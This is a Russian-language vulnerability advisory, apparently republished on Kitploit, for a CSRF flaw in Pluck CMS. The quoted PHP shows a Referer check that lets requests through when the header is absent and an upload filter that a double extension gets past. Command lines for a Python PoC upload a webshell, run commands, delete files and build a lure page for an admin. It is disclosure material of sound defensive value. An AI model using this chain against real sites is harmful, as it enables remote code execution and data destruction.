CVE-2026-70376 — Advisory и Python PoC для CSRF в Pluck CMS: проверка Referer в режиме fail-open в сочетании с загрузкой файлов с двойным расширением позволяет развернуть веб-шелл и выполнить удалённый код. | Kitploit


CVE ID	CVE-2026-70376
Трекинговый ID	PT-2026-68036
Продукт	`pluck-cms/pluck` — Pluck CMS (PHP на плоских файлах)
Затронутые версии	4.7.x вплоть до 4.7.21-dev / актуальный `master`
Слабость	CWE-352 (CSRF) · CWE-434 (неограниченная загрузка, усилитель)
CVSS v3.1	8.0 — High (высокий) · `AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H`
Вектор	Сетевой · без привилегий · одно посещение страницы администратором (UI:R)
Воздействие	Уничтожение контента/DoS, внедрение сохраняемого контента, RCE на Apache/mod_php
Появилось	коммит `f79f916` (дек. 2019) — уязвимая логика присутствует с этого момента
Исследователь	Ilhomjon Rustamov (@IlhomjonR)

function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

Действие	Метод	Воздействие
`admin.php?action=deletefile&var1=<f>`	GET	Удаление произвольного загруженного файла
`admin.php?action=deletepage&...`	GET	Удаление страниц сайта (DoS)
`admin.php?action=module_delete&...`	GET	Удаление модулей
`admin.php?action=logout`	GET	Выход администратора из системы
`admin.php?action=editpage`	POST	Внедрение сохраняемого содержимого страницы
`admin.php?action=images` (загрузка)	POST	Размещение `shell.php.jpg` → RCE

pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Дата	Событие
2019-12	Появилась уязвимая логика `requestedByTheSameDomain()` (`f79f916`)
2026-07-08	Обнаружено при аудите исходного кода; сквозной PoC подтверждён
2026-08-10	Подготовлен advisory (PT-2026-68036)
2026-08-12	Присвоен CVE-2026-70376; опубликованы advisory и PoC

CVE-2026-70376

Популярное

📋 Краткий обзор

🔎 Резюме

🧬 Первопричина

1. Проверка Referer с логикой fail-open — `data/inc/functions.admin.php`

3. Загрузка с двойным расширением — `data/inc/images.php` (усилитель RCE)

⛓️ Цепочка атаки

💥 Эксплойт

🛠️ Устранение

🕒 Хронология

📚 Ссылки

⚖️ Отказ от ответственности

CVE-2026-70376

Популярное

CVE-2026-70376 — CSRF на всём сайте Pluck CMS → RCE

Проверка Referer с логикой fail-open + отсутствие CSRF-токенов + загрузка файлов с двойным расширением